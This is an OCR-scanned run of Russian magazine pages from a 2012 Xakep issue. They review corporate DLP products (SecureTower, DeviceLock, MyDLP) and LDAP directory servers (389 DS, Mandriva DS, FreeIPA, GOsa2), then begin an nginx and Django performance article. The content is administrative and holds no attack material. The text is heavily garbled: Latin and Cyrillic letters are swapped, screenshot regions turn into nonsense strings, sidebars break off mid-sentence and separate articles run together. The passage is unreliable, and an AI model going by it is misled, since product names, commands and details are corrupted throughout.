сервер обработки информации-выполняетобработку, индекса­

цию и анализ данны х, поиск, отправкууведомлений, формирова­

ние отчетов и пр .

В качестве СУБД может быть использован MS SQL Sегvег, Огасlе, SQLite и PostgгeSQL. Система легко масштабируется, при необходимости в сеть можно добавит ь н овый сервер, отвечаю­

щий за перехват или обработку данных. Пр оцесс развертыва-

ХАКЕР 03/158/2012

В поисках инсайдера

р •

• "--R- м.. - ..,.. _ ·-

~~~~~~--------------=~~ lti!Ar. ...... ~

~- ·-· ~ Sllld .. ........, ................... _~ ........... ..... s ~ ............ ~.-.......... - ... ",. .... ..,.-... ..... ..,.__

~-- ... .u.a!8 • 11111D ~ .... ----

~-- ~~ l"'::ler.-............. ..._.,

__ ,." __ ~.".. ... __ __

c-.-e::IIO .. "-• ""'--_..., ......... ..-.. .. _..,_ - ..... c.-oм-a: ... ......,JJ

L-Qoo81:0'8_.._ ...... -..:..,_ ... ...".а-м-. -----~-t.al =--........ - .....

гггггг-,.- J ...... _ ,..__. ..... a.

Выбор nолитики в консоли Websense Data Security Suite

ния очень пр ост, для управления , создания правил и анализа

используется консоль администратора Falcongaze SecuгeToweг Admiп Coпsole и консоль безопасности Falcongaze SecuгeToweг Client. В установленной системе активно несколько общих правил , позволяющих выявить отправку ряда данных !номеров кредиток, ИН Н ], посещение соцс етей, отправку резюме для по­

иска новой работы и др .

DEVICELOCK ENDPOINT DLP SUIТE Сайт nроекта: devicelock.com/ru . Лиценэия:nроnриетарная .

ОС сервер: Windows NT/2000/XP/2003/Vista/2008/7. ОС клиенты: Windows NT/2000/XP/Vista/7. Русификация: ест~

Система DLP, построенная на основе достаточно известного

решения Oevicelock, которое используется для контроля до­сту па пользователей к различным периферийным устройствам.

Device lock разрешает/блокирует доступ с учетом следующих параметров: логина, типа, времени суток , формата файлов

и т. д . Сейчас это базовый элеме нт системы DLP, дополненный о пциональным и модулями Netwoгklock !анализ данных , пере­даваемых по сети ] и Coпtentlock !собственно, отвечает за ана­лиз и филырацию данных]. Благодаря новым возможностям Deviceloc k научился блоки ровать устройства , отслеживая в том

числе и содержимое коп ируемы х данных , а не только логин

п ольз ователя и прочие стандартные параметры . При этом раз­

ные политики уста навливаются в зависимости от того, работает

ком пьютер в сети или автономно !оперативный и автономный режимы]. Система детально протоколирует все действия поль­зователей и осуществляет выборочное теневое копирование

данных для анализа . Она распоз нает более 80 типов файлов и использует несколько механизмов анализа контента: поиск

по ключе вы м словам и шаблонам , в том числе с поддержкой

регулярных выражений !номера кредиток, адреса, паспортные данные и т. д . ], словари, поиск по свойствам файлов и данных

!название, размер, па роль, текст и др.]. Благодаря этому DLP может найти текст, сп рятанный, например, в графических фай ­

лах . Реализованы белые списки !списки устройств и протоколов и временные списки], позволяющие пользователю без проблем п олучи ть доступ. Возможна интеграция с ме ха низмами шиф­

рования Bitlockeг То Go, PGP, ТгuеСгурt и некоторыми другими .

Таким образом, можно разрешить записывать определенные

док уме нты только на защищенные носители . Клиентская часть

также контролирует буфер обмена , PгintScгeeп , печать докумен­

тов и обнаружи вает работающие кейлоггеры.

117

Page 120: Xakep 03_2012

SYN/ACK

l'{j i..--UO'd-.....

~ ln.W.""~;ММ'

~ lnoblo !INIМ. .....

-. ....... _,..._...,., т о... •• -~-.,....~--·""'-- - ·- · ck-~-ol>old ...... '\1ooooohold-ro.~, 1 ~"'"-""""•......_,.,., • • -"•

_ ,.,...,м ...... -t..J.• r .............. n-ohold-fo<r.ь ...... z ;:~':;:;;:::;~;,:~

""-·--,...-..... , -.мw ....... O ln.W..I'I- IM"f~ l11нo•МW-•""'f""' ..... '

l.] ln.W..UII.IUitO~ '"-•l>old-'--...,..• 1 Q ln_ТU.W..,ID,..._ """''""""-"""~ ' -,

~--~<М•otмr...w.u-N ...... " .

[ . ,.." _ ,. 1

Окно настроек MyDLP Просмотр снимков экрана в Falcongaze SecureTower

Модуль Netwoгklock использует методы DPI [Deep Packet lпspectioп, глубокий анализ па кетов! и умеет определять прото­

колы вне зависимости от порта, поэтом у система позволяет легко

создавать политики для любого вида траф ика: веб-трафика,

трафика соцсетей, файлового, почтов ого и !М-трафика. Распозна­

ются протоколы с инхронизации с мобильными устройствами : MS ActiveSyпc, Palm HotSyпc и iTuпes. В настоящее время в офици ­

альных с пи сках н ет поддержки Р2Р и Skype. Возможно использовать дополнительный компонент полно­

текстового п оиска Devicelock Seaгch Sегvег [DLSSI, который находит информацию в теневы х ко пия х и журналах. Управление

производится при помощи гру пповы х политик домена, поэто­

му клиенты автоматически п одх ватывают установки. Правил а

создаются через редактор Devicelock GгoupPo l icy Мапаgег.

На с л учай отсутствия Active Diгectoг y предусмотрена консоль Device lock Епtегргisе Manageг, с nо собная nолучать данные из любых LDАР-каталогов, в консоли Devicelock Management Console отображается тек у ще е состояни е агентов. Также кли­

е нты могут уста навливаться с уже nреконфигурирова нны ми

nараметрам и.

MYDLP COMMUNITY EDITION Сайт проекта : mydlp.orq. Лицензия: GNU GPL. ОС сервер: Ubuntu 10.04 LTS. ОС клиенты: Windows ХР, Vista, 7 (x86/x64l. Русификация: отсутствует (возможна собственными силами!.

Бесnл~тная DLР-си стема [разработчики расшифровывают эту аббревиатуру как Data Loss Pгevent ionl с отк рытым исходным кодом, включающая ряд функций для предотвращения утечки

данны х:

118

анализ nротоколов- НТТР/НТТРS, FTP/ FТPS , SMTP, ICAP [в бли­жайших nланах- POP/ IMAP, MSNMS/Jabbeг и MS Exchangel; анализ документов- txt, MS Woгd/Excei/Poweгpoint 97-2k3, RTF, LibгeOffi ce ODF, PDF, PostScгipt , XM L, HTML, и архивов-ZIР, 7z, TAR, GZIP, RAR и др . ;

регистрация, блокировка [в nлатной версии Enteгpгi se добавле­ны а рхи вирование и карантин!; определение М 1 М Е-типа по данным Python-Magic, типа файлов по МD5-хешу;

извлечение тек ста из файловбинарных форматов;

обнаружение исходного кода [C/Cн/C#/Java/ADA и др.l; идентификация банковских счетов/кредитных карт, некоторых национальны х идентификационных номеров;

применение пользовательски х правил и регулярных выражений,

статистический анализ и байесовские классификаторы;

инте грация с веб-nрокси [Squidl для фильтрации входящего и ис­ходя щего веб-трафика , использование в качестве контентнога

ф ильтра для Postfix, MS Exchange, интеграция с Zimbгa; соста вление списков ACL на ос нове IР-адресов и шаблонов.

К ром е того , MyDLP умеет обнаруживать и открывать зашиф­

рованные файлы или файлы, закрытые паролем [если есть ключ!. Функционально система, n остроенная на MyDLP, состоит из четы­рех ко мпонентов:

MyDLP Netwoгk -сетевой сервер, которой исnользуется для

nерехвата ТСР-соединений и является основной для MyDLP. Написан на E гlang и Python, можетбытьустановлен на любой с и стеме, поддерживающей интерпретаторы.

MyDLP Endpoint- aгeнт, устанавливаемый на конечных системах

[поддерживаются 32/64 - битные WinXP-Se7en l, nозволяет кон­тролироват ь все критические операции : коnирование файлов,

nечать, захват экрана, получение nрав администратора и т. n. MyDLP Secuгity Monitoг- монитор, отслеживающий, кто и какие

данные использует.

MyDLPWeb Ul-инструментуnравления настройками Netwoгk и Endpoint, которые периодически nодключаются к Web Ul, nо­л у чают последниеустановки и сбрасывают лог. Написан на РНР

и Adobe Flex, для хранения настроек и журнала событ ий исnоль­

зуется MySQL.

Процесс настройки и подключения клиентов трудностей

не вызывает. Девиз Easy, Simple, О реп nолностью о тражает суть MyDLP. Документация проекта включает десяток мануалов, ес т ь даже небольшое видео руководство. П осле за nуска клиента в трее

nоявляется значок, сnрятать который с п омощью штатных средств

невозможно. Проект предлагает установочный 150-образ [на базе Ubuntul, образ VMwaгe и реnозиторий Ubuntu 10.04 LTS [downloads. med гatech.com/ubu ntul.

За nлату предлагается Еntегргisе-версия, имеющая расширен­

ные средства анализа, улучшенный интерфейс, карант ин, функцию

арх ивирования и обеспечиваемая n оддержкой.

ЗАКЛЮЧЕНИЕ Нужно помнить, что DLP- это nрежде всего инструмент, позво­

ляющий значительно снизить риски, наличие которого уже само

по себе дисциnлинирует сотрудников. Ожидать, что внедрение

такой системы гарантированно защитит от утечек , возникающи х

в результате умышленных действий, тоже не стоит. Если инсайдер

захочет передать или вынести ценную информацию, он наверняка

найдет способ для этого, поэтому следует также ис n ользовать все

традиционные методы защиты . ::х::

ХАКЕР 03 / 158/ 201 2

Page 121: Xakep 03_2012

OT&OPHbiE ПРОДУКТЬI СО ВСЕГО МИРА*

.........,. Мы знаем , где в мире найти самые лучшие продукты .

......,... Вы знаете, что можете найти их рsщом, под маркой TASH

Page 122: Xakep 03_2012

SYN/ACK

120

В FгeeiPA до вер~:: 2.1.3 включи;ел

имеется СSR(СVЕ-звимость

~~11-36361 . Для ее т я следуе устранени

2_1_4,

обновиться до

ница Red Hat Стра dhat com/ IРА- ге __ . I!J:.Q.IIl.QLiм.

Сайт nрое_кта Fгeei­PA-~.

Страница Mandгi~

Diгectoгy S~г:":гq . mds mandr1y_._

Сергей gгindeг Яремчук [g г indeг!Osynack.гul

' ' ' ' ' ' ' ' -

\ \

о FгeeiPA я исnользуется А~

аутентификаци

'

и авторизац~~t для в решении о

виртуализации,

nостроенн~~М . на основе

• Инсталляцию описываемых

nродуктов

рекомендуется

производить

на се ч истую»

систему, ю не выполняющу

никаких других

функций .

• Для зации cинxpsoн~ctive Diгec-389D с имо tогу нeoбxo~indows установить

Sync.

После установки о 389-dsдля nакета 389DS конфигура~;ситить следует за ds-скриnт setup­admin.pl.

• Утилита sys.t~m­config-autentofo;я cation, входящ

Fedora, в сосрт~вит вкладку, соде ю nозволяющу

активировать ию тентификац

:~рез FгeeiPA .

ХАКЕР 03/158/2012

Page 123: Xakep 03_2012

flleJ;dot~НIItOIYAookmПJ ~Istltlp

+ · С А ~ccp·U121 .o.o.~'"'

-~~1Gon14110

Ноше

User.groupand computer managemenl

: !!iЪ •••• _. .. : :11!11.

SAMBAseNice

:~

Nelwork managemenl

Mallservice

: м=-

Mandriva Management Console nроста и nонятна в работе

389 DIRECТORY SERVER Сайт проекта: directory.fedoraproject.orq. Лицензия: GNU GPL.

<*мandriva

ОС: Fedora/Red Hat/CentOS, будет работать в Linux (Deblan, Ubuntu, Gentoo), Solaris, HP/UX 11, lrix, AIX, Windows и OSF/1 .

Сервер каталогов уровня предприятия, создаваемый со­

обществом при спонсорской поддержке Red Hat. Базой для него послужил разрабатываемый с 1996 года Netscape Оiгес tогу 5егvег. Он получил новое имя- Fedoгa Оiгесtогу 5егvег- после того,

как права на него в 2005 году приобрела Red Hat. В 2009 году проект снова изменил название на 389 Оiгесtогу 5егvег [389 -по номеру порта службы LOAPI. Причина проста: F05 неразрывно ассоциировался с Fedoгa, что, по мнению разработчиков, тормо­

зило развитие, в частности интеграцию в другие дистрибутивы.

На основе 38905 Red Hat выпустила коммерческую версию Red Hat Оiгесtогу 5егvег [R H0 51 с техподдержкой 24/7. Возможности 38905 включают полную поддержку протокола LDAPv3, 55 L/ТL5 - и 5А5 L­аутентификацию, синхронизацию данных [пользователь, группа, па роль) с Active Оiгесtогу [при условии, что на КД Win2k3/2k8 установлен компонент Windows 5yncl, разграничение доступа вплоть до отдель н ых атри бутов [и мя, группа, IP и т. д .l В качестве криптадвижка используется библиотека N55 от Mozilla Pгoject. Конструктивно 38905 состоит из сервера каталогов [Саге Оiгесtогу 5егvег, СО51 и сервера администрирования [Admin 5егvегl. Задача последнего- управление всеми доступными С О5 , для чего пред­

лагается графическая консоль [389-coпsolel и утилиты командной строки. В Linux консоль устанавливается автоматически [написана на Javal. Для управления из-под Win2k3/2k8 на сайте проекта сле­дует скачать пакет Windows Console.

FUSIONDIRECTORY

GOSll • мо~Ш;~ f(r~fox

~oJIII {lp61111 .III'I.Q /:IS.Yptol ll 3,11!115111\М \1MCl'l)yl4etlt ЬI !;П~IQ

00.. • )

*'·' !!1!1.1 е А WlleOiмtoGOP

EFI!

Adm!nlslrм!on

.. _ Co<>t>t.~!I-I)'Pol"d ~UIO .... f<,ed -·-

,,_ Pr...,_" v .,." .-­

Ц~К~М~''""11- е _,....,pl..." .. -

f&. ~-.. -М..,.IIЦ'IQ~di-U!

~~~ ....

Корпоративные связи

• o l "'·~:.~с:-.----,_,0. •

~ ~ ::...t~~OЦII _klop __ ",...

---ca.ror ~«es• 10 GOu

:а=:...-:: ......

:!OQ2-20U~I~-GOiLG0нZ.7l

GOsa nозволяет уnравлять учетными заnисями *nix и сервисами

Разработчики отмечают высоку ю производительность и мас­

штабируемость 38905. В одной сети может работать до четырех равноправных мастер-серверов с автоматическим разрешением

конфликтов, балансировкой н агрузки и резервированием сервера .

Поддерживаются работающие в режиме геаd-опlу сервера, некий

аналог Read Опlу Oomaiп Сопtгоllег в Active Оiгесtогу Win2k8 . В настоящее время проект официально предлагает репази­

тарий и пакеты для RHEL/Fedoгa [подходят и для Ceпt05l. Кроме того, возможна установка в других Liпux [ О еЬiап, Ubuntu, Gentool, 5olaгis, HP/UX 11. Некоторые версии поддерживаюттакже Windows, lгix , AIX и 05F/1. Однако развертывание и последующая поддержка в << неофициальных>> системах требует от админа уже некоторой

подготовки.

Компоненты 38905 выпускаются по лицензии GNU GPL, но сер­вер базируется на ряде продуктов с другими лицензиями IMPL/ LGPL/GPL/XI. Стоиттакже отметить, что 38905 является составной частью FгeeiPA- централизованного решения для управления

информацией о nользователях и политиках и для аудита. Речь об

этом продукте пойдет чуть ниже.

MANDRIVA DIRECTORY SERVER Сайт проекта: mds.mandriva.orq . Лицензия: GNU GPL. Дистрибутивы: Mandriva, Deblan/Ubuntu, CentOS/RHEL/Fedora, openSUSE, образ VMware.

Сервер Maпdгiva Оiгесtогу 5егvег [М О51 - простое в использо ­

вании решение, nозволяющее при помощи наглядного интерфейса

уnравлять учетными записями пользователей и груnп, доступом

и сетевыми сервисам и . П о сути, это удобная надстройка над

Поскольку доступ к исходному коду GOsa для тех, кто не имеет отношения к компании

Gonicus GmbH, был затруднен, разработчики приняли решение о создании более

решение для управления, имеющее более

удобные инструменты для разработки,

Четко определен список поддерживаемых

дистрибутивов (DeЬian, CeпtOS 5/RHEL 5, Fedoгa 14/15, openSUSE 11.3/11 .4, SLES 111, и, главное, для каждого из них создан репозиторий ,

обеспечивающий простую установку. открытого и полностью поддерживаемого

сообществом фор ка для привлечения

сторонних специалистов, а также обеспечения

условий для написания плагинов под большее

количество приложений. Новый проект

получил название FusioпDiгectoгy (fusiondiгec­

toгy. org l . Разработчики обещали не только

создать самое <<м ощное и универсальное >>

ХАКЕР 03/158/2012

но и усовершенствовать документацию .

В октябре 2011-го вышла версия FusionDiгec­

toгy 1.0.2, но, так как работа над nроектом началась совсем недавно, о каких -то особых

функциональных отличиях от GOsa пока говорить не nриходится. Документация , по сути,

состоит из пары руководств, но, учитывая

родство с GOsa, на стадии ознакомления с FusionDiгectoгy можно использовать

документацию на родительский проект.

Еще одно отличие заключается

в официально поддерживаемых веб­

серверах. Разработчики nредлагают готовые

конфигурационные файлы для Apache2 и Lighttpd, возможна также установка на пgiпх , но настройки придется создавать

самостоятельно.

121

Page 124: Xakep 03_2012

SYN/ACK

f1\e Edit V\tw SNrth ~nll ~ Не1р

~~- х ~~- х ~ed:n:-

(root@fedora - )# ipa user - show vpupkin - -att dn: uid=vpupkin, cn=users, cn=accounts, dc::locat Useг togin : vpupkin first name: Vasja Last na111e : Pupkin Full na11e: Vasja Pupkin Disptay name: vasja Pupkin Initiats: VP Home directory: /home/vpupkin GECOS fietd: vpupkin Login shel t :· / Ьin/sh Keгberos princi pa t: vpupkin@LOCAL UID : 1989288883 GIO : 1989288883 Account disabled : Fatse Hember of groups: ipausers ipauniqueid : 5dc4c446 - 62eЗ - lleB - a2d4 -B88c29f9bc76 krbext radata : AAgBAA= , AAL8vaBNcat9vdC9hZGlpbkBНТ8NBTAAж krЫastpwdchange: 28118469281326Z krbpa s swordexpiration : 28118489281326Z krbpwdpo\icyreference: cn::global_policy, cn::LOCAL , cn:keгberos , dc::::locat mepmanagedent ry : cn:avpupkin, cn:::groups , cn=accounts , dc= tocat objectctass: top , pers on , organizationatperson, inetorgperson , inetuser,

posixaccount , krbpr i nc i pa taux , krbt icketpoticyaux , ipaobj ect,

( root@fedora - ~~e~OriginEntry

Для настройки FreeiPA можно использовать консоль

LDAP- OpenLDAP, хотя возможна и совместная работа с 38905. Функционально может выстуnать в качестве РОС !уровня Windows NT41, LDAP-cepвepa с синхронизацией учетных заnисей и nара ­лей, nолностью заменить Active Diгectoгy либо интегрироваться в нее. Клиентскими ОС могут служить Windows, Linux и Мае 05 Х. Интерфейс nозволяет nроизводить настройку аккаунтов и ACL в 5amba, управлять совместным достуnом, nечатью на базе CUP5, доставкой nочты IPostfixl, конфигурировать 5quid и службы DN5/ DHCP, администрировать учетные заnиси GLPI. Па кет включает КегЬегоs и может быть исnользован для организации однократной

аутентификации 15501. Разграничени е достуnа для объектов уста­навливается вnлоть до отдельных атрибутов: пользователь, груnпа,

IР-адрес, время и т. д.

Особенно nриятно, что проблемы, преследовавшие компанию

Mandгiva, не затронули MD5 и nродукт nостоянно развивается. В последних версиях к указанным возможностям добавилось

управление учетными записями системы Zaгafa, обеспечивающей

совместную работу, централизованное хранение nубличных клю­

чей Open5SH, аудит, политики паролей и многое другое. Модульная архитектура nозволяет добавлять нужную функциональность или

убирать из интерфейса лишнее. MD5 легко масштабируется, под­держивая несколько тысяч заnисей на один сер в ер.

Неn осредстве нно для уп равления сервисами предназначен

модуль ММС agent, написанный на Python и и с nользующий для

обмена да нными XM L-RPC. Агенты настраиваются при помощи очень nростого в исnользовании веб-интерфейса ММС IMandгiva Management Consolel. Администратор может выбрать один из двух режимов отображения: Noгmal или Ехрегt.

В отличие от 38905, пакеты nредлагаются не только для «род­ного » дистрибутива: имеется собственный репозиторий Debian, сборки для Cent05/RHEL/Fedoгa и open5U5E, а также готовый образ VMwaгe. Таким образом, серверную часть MD5 можно отно ­

сительно быстро и без nроблем установить в любой *niх-системе.

Продукт включен в комплект nоставки Mandгiva Enteгpгise 5егvег.

MD5 nредставляет собой самое простое в установке и конфигури­ровании решение, освещенное в нашем обзоре, однако самостоя­

тельная сборка на других системах, кроме МЕ5, все-таки требует

некоторых навы ков по работе с LDAP. Докуме нтация проекта весьма подробна и nозволяет разобраться во всех его нюансах.

iid!I!IIЩ Сайт проекта: freeipa.orq . Лицензия : GNU GPL. Дистрибутивы: сервер- Fedora/CentOS, клиент- Linux, AIX, HP­UX, Solaris, openSUSE.

Цель проекта Fгeei PA IFгee ldentity, Policy and Auditl- созда­ние для Liпuх-систем среды, представляющей собой альтернативу

122

Console

--г.~.-----

TroQ~......w;,;--

Консоль управления 389 Directory Server

Active Diгectoгy и позволяющей централизованно управлять аутен­тификацией пользователей, устанавли вать политики доступа и ау­

дита. Фактически FгeeiPA- это симбиоз нескольких опенсорсных

проектов, таких как дистрибутив Fedoгa, 38905, MIT КегЬегоs, NTP и BIND. На этом проекте, развиваемом при финансовой поддержке Red Hat, основан используемый в коммерческом дистрибутиве продукт IPA, который Red Hat предста вила общественности летом 2008 года.

Впервые код FгeeiPA п оявился в составе Fedoгa 9 lмай 2008-гоl, однако нормальная синхронизация с Active Diгectoгy на тот момент еще не была реализована. На первых порах клиенты

могли подключаться вручную, но это было неудобно. В октябре

2009-го началась работа над нов ой веткой 2.0. Ее финальная версия была предста вл ена в конце марта 2011-го. День, в который

был анонсирован релиз, запомнился многим пользователям Linux как << Fedoгa 15 Test Day», посвященный именно тестированию FгeeiPA2. В настоящее время реализованы:

централизованное управление учетными записями п ользо вате­

лей, групп, компьютеро в и сер ви сов;

управление доступом к приложениям, устано вка политик па ро­

лей и настроек КегЬегоs, управле ние правилами 5UDO; аутентификация КегЬегоsдля пользователей и узлов;

Host Based Access Соntгоl-управление и хранение ролей в LDAP; служба у правления сертификатами IDogtag Ceгtificate 5егvегl.

Сеть, построенная с применением FгeeiPA , функционально мо­

жет состоять из трех типов систем : одного или нескольких серве ­

ров, клиентских машин и компьютера администратора. Последний,

по сути, представляет собой обычный клиентский десктоп с кон­

сольными утилитами для удален ного уп равления FгeeiPA !кстати, использовать их совсем не обязательно - вполне можно обойтись

веб-интерфейсом, который написан на Javal. Чтобы снизить нагрузку на канал, клиент использует локаль­

ный кеш ILDB и XM LI, получая из него настройки в том числе и при отсутствии доступа к серверу. На клиентской системе устанавли­

вается агент управления аутентификацией 5550 l5ystem 5ecuгity 5eгvices Daemonl . Клиентская часть реализована не только для Red H at/Fedo гa и клонов, но и для други х ОС и платформ: AIX, HP-UX, 5olaгis, open5U5E. Что интересно, над сборкой клиентских па кетов для Ubuntu/Debian ll aunchpad.net/fгee i pa l и обесnечением

их совместимости работают два сотрудника Red Hat. Сnециальное nриложение lceгtmongeгl уnрощает создание

сертифи катов и уnравление ими, автоматически генерируя и nо­

лучая новый сертификат по истечении срока действия старо го.

Опционально возможна интеграция с DN5-сервером на базе BIND !нужен nлагин LDAP BIND с динамическим обновлением через

ХАКЕР 03/158/2012

Page 125: Xakep 03_2012

Корпоративные связи

Alltlwntkatlon Conflguratlon

l l ldont;ty & Authontkot;on l дdv•ncod Opt;on•J

Us~r Account Conflguratlon АРАСНЕ DIRECTORY SERVER User Account Dat111base: Loc111L accounts onty

1 LDAP

1

Free iPA

NIS

Winblnd

Authentication Conflgur.~tion

Authentic111tion Method: ·d .

J

~ ~~

Сервер каталогов, разрабатываемый

Apache Softwaгe Foundation ( diгectoгy .

apache . oгg ). Полностью наnисан на Java, nоддерживает LDAPvЗ, КегЬегоs и Change Passwoгd Pгotocol . Позиционируется как

встраиваемое в другие Jаvа-nриложения

решение, однако никто не заnрещает

использовать его автономно . Обеспечивает

выполнение LDAP и КегЬегоs, возможна

реализация поддержки любого протокола .

Продукт мультиnлатформенный . На сайте

проекта достуnны nакеты для установки

в Linu x, Windows и Мае 05 Х , исходные

тексты nозволяют собрать ADS на любой системе , для которой имеется Java . Кроме стандартных возможностей LDAP, реализованы хранимые процедуры , триггеры,

динамические объекты Java и многое другое. Распространяется под лицензией

Apache . В рамках nроекта разрабатывается Apache Diгectoгy Studio, включающий LDАР- браузер, браузер с хем, редакторы

LDIF и DSML, клиентские программы для администрирования.

Менеджер аутентификации в Fedora позволяет выбрать FreeiPA

GSS-TSIG]. При управл ении комnьютерами и группами компьюте­ров полномочия подтверждаются при п омощи Ке гЬ е гоs keytab или сертификата.

Модульная архитект ура серверной и клиентской части по­

зволяет без особых проблем интегриро вать FгeeiPA и любой

продукт. В настоящее время политики ис п ользуются в том числе

и для хра нения пара метров дос т упа к локальным приложениям

и настройкам рабочего стола. По ка реализо ваны н е все функции

упра вления политиками , аудита и контроля, которые пл анируется

включить в проект.

Н ет н астроек правил SELinu x, поддержки Samba, Fгe eRADIUS,

централизованно го управления ключами SSH и LVM, ОТРи многого другого. Очевидный минус продукта- ориентированность в пер­

вую оч ередь на производные от Red Hat дистрибути вы . Устано вить

сервер ную ч асть Fгee iPA можно из репозиториев Fe d oгa, CentOS, K12LTSP и совместимы х с ними . Разработчики сделали всё , чтобы

упростить процесс локализации в версии 2.0 [ис пользуется gettext и UTF8]. В каталоге install / po имеется файл гu.ро, в котором nере ­веде на лишь малая часть сообщений.

Пр оект активно развивается, и при этом обнаруживаются о шиб­

ки . П оследний релиз 2.1 .4 устраняет СSRF-уяз вимость [подделка межсайтовых запросов, CVE-2011-3636].

ieiN4 Сайт проекта: oss.gonicus.de/labs/qosa. Лицензия: GNU GPL. Дистрибутивы: пакеты- Deblan/Ubuntu, RedHat/CentOS/Fedora, openSUSE/SLES, из исходных текстов- любой *nix.

Пр оект G0sa2, являющийся надстройкой для nопулярных опенсорсных приложений, предо ставляет администратору едины й

fjle fdit Yi!:w Hi1tory Aookmarts IЬols tlt'IP

USERS о --0

Девиз ldentity Policy Audit xopowo поясняет сущность FreeiPA

ХАКЕР 03 / 158/ 2012

центр уп равления всей ИТ-инфраструктурой . Интерфейс позволя ­

ет уп равлять учетны ми за п ис ями *nix и Samba, правами п ользова­телей и групп, компьютерами, списками рассылок, приложениями,

настройками основных сетевы х служб : DHCP, DNS, НТТР, SMTP и т. д . Ра зработка ведется под эгидой компании Gonicus GmbH, к ото рая использует GOsa в своих сервисах.

Все функции вын есе ны в плагины [принциn «один сервис= один плагин »], позтом у админ собирает конфигурацию в соответ­ствии со своими нуждами.

В настоящее время реализо ван о более 30 плагинов, обеспе­чивающих управление такими сервисам и, как Squ id, Dan sGuaгdi n ,

Postfix, Couгieг- IM AP, Maildгop , GNARWL, Cyгus-SASL, OpenSSL, ISC DHCP, WebDAV, Pu гe FTPd , РРТР, КегЬегоs, Asteгisk, Nag ios, OPSI, Netatalk, FAI, гsyslog, и серверами коллективной работы: SOGo, OpenGгoupwaгe, Kolab, Scalix. При этом все вы шеуказан ны е

nлагины не обязательн о должны работать на одном сервере, неко­

торые из них мож н о устано вить на отдельные хосты.

Учетные заnиси п ользователей объединяются в гр уп пы , для

которых назначаются разрешенные приложения . При создании

н овых аккаунтов применяются шаблоны [админ создает их сам] с прописанными п равами доступа к объектам . Набор разреш ен ий

ACL состоит из типа , о пределяющего видимость, объектов [поль ­

зоват ел ей/групп] и разреше н ий. Разрешения определяют все возможны е действ ия: созда ни е, удал ение, перемещение, чтение,

запись и т. д.

GOsa - единственный в нашем обзоре проект с локализо­

ванным интерфейсом у правления. Правда , локализован он пока

не полностью, н о исnользова ни е gettext позволяет при необходи­

мости сделать это самостоятельно.

Поддерживается уста н овка в любом дистрибутиве Linux. Раз­работчики рекомендуют DeЬian , под который создан отдельный

репозиторий. Также до с тупны пакеты для Red Hat/CentOS/Fe d oгa и openSUSE/SLES, но, как правил о, разработчики не спешат их соби рать , поэтому версии немного запаздывают. Можно исполь ­

зовать любой веб - сер вер, одн ако предпочтение отдается Apache2 и nginx. Документация дос т у пна толь ко на английском и н е п о­спевает за развитием проекта, многие моменты отражены в н ей

весьма поверхностно.

ЗАКЛЮЧЕНИЕ Даже невоо руже нн ым глазом видн о, что наиболее многофункцио­

нальным инструментом является GOsa2. Это решение обесnечивает управление уч етными за n ися-

ми и многочисленными се рвисам и, поддерживает устан овку

в большинстве ди стрибути вов Linu x, име ет локализованный

интерфейс. Однако окончательны й выбор зависит от конкрет н ой

задачи . :х:

123

Page 126: Xakep 03_2012

SYN/ACK Евгений Зобнин lexecЬit.rul .

СОЗДАЕМ ВЫСОКОПРОИЗВОДИТЕЛЬНЫЙ САЙТ С ИСПОЛЬЗОВАНИЕМ NGINX И DJANGO

При обсуждении высокой производительности веб-приложений на ум невальна приходят такие

названия, как nginx, memcached, еассеlегаtог, hiphop и им подобные . Фактически это стандартный

набор для любого высоконагруженного сайта, написанного с использованием РНР. Но что если мы

хотим выжать все соки из сайта на Django?

121, ХАКЕР 03/158/ 2012

Page 127: Xakep 03_2012

Администрирование Ojango доброnожеnо•ет~ 1obnln и]"'он"т~nероп./Вы"т"

Администрирование сайта

Груrw1Ы ·~fb ·-fu ·~llllb

СайrЬI

T1ogedltems

·~'''

311ПИСИ

К1теrор.,... +A;Iбoolr rь

Стандартная админка Django

. · и..е. .. n.

. "' и-..nь

. • И!f.\Ctilllb

. •~rь

. · ~оЬuеrмть

+Шмф~ фа"n"" с n-OЩ~IO OpenSSL on)'ISIIMKOUH/1

М: сео.с •мяео аоотрат•онnаМн . ПOIApaiЛIIIO, OIHfi KIIMitТUITO

М: АВВУУ 68::п.латне: сн ... аJtlнl

~-· то АО конца n-1111 ..

М: improw!,..,..rch"""Jine~•nkrng:l' hey lllldltv. oax«Ьot.ruowr'llllr

discovef.:iyourV<IЬti .. .

М: мноrоуроан• ... нат11жн.,. I'OТOJ'I rt M: ПOJtн or:t • IO

Итак, допустим, мы собираемся зап устить новый веб-проект и

решили строить его с использованием фреймварка Djaпgo . По­

чему Ojaпgo? Потому, что он красив, производителен и невероятно

дружелюбен к разработчикам. Djaпgo использует всю мощь языка

Pythoп, чтобы максимально разгрузить программ иста. Благодаря

архитектуре модель-вид-контроллер [MVC) и модульном у дизай­

ну, то есть структуре, построенной из обособленных кирпичиков,

Оjапgо-приложения на удивление просты в конструировании и

сопровождении. Система берет на себя 90% работы, поэтому описа­ние данных, создание алгоритма их обработки и отображения пре­

вращается в тривиальную задачу, зачастую решаемую в несколько

десятков строк кода [например, для создания простейшего сайта с полноценной веб-админкой достаточно написать всего несколько

строк) . И всё это без уродливого SQL, скрытого от программи ста за классами Pythoп, на основе которых и генерируется схема базы

данных.

Мы ожидаем, что ресурс будет иметь высокую посещаемость,

поэтому нам нужно сразу предусмотреть все возможные пути опти­

мизации . Перво-напер во мы должны выбрать легкий, быстрый ,

удобный в настройке и сопровождении веб-сервер. Это, конечно

же, пginx, который просто не имеет конкурентов по скорости

отдачи контента. Мы откажемся от стандартных конфигураций

со всякими громоздкими апачами на стороне бэк-энда и будем

использовать пgiпх как основной веб-сервер [впоследствии такую

схему можно легко расширить с помощью дополнительных серве­

ров и балансировщиков нагрузки). Второй шаг- решение вопроса о том , как будут связаны nginx

и Djaпgo . Понятно, что лучше всего использовать интерфейс

WSGI, созданный специально для Python, но мы должны выбрать правильную реализацию этого интерфейса . Казалось бы, здесь

вариант один- mod_wsgi из комплекта пgiпх, однако на роль связующего звена больше подходит бридж uWSGI [ pгojects.unblt . it/ uwsgi ), который показывает гораздо лучшую производительность при минимальных требованиях к оперативной памяти [пруфлинк

для сом не в а ющихся : пichol.as/benchmaгk-of-python-web-seгveгs ) . Третий вопрос- кеширование. Ясно, что без кеш а никак не

обойтись и что реализован он будет с использованием memcached. Другое дело, что проблема кешировгния многогранна и ее ре­

шение сильно завязано на специфику самого сайта. В статье мы

рассмотрим несколько « универсальных>> методов кеширования,

включая топорное хранение сгенерированных НТМL-страниц в

памяти и прозрачное кеширование запросов к БД, а также обсудим

специфику применения тех или иных методов.

Наконец, мы должны правильно всё это настроить, учитывая

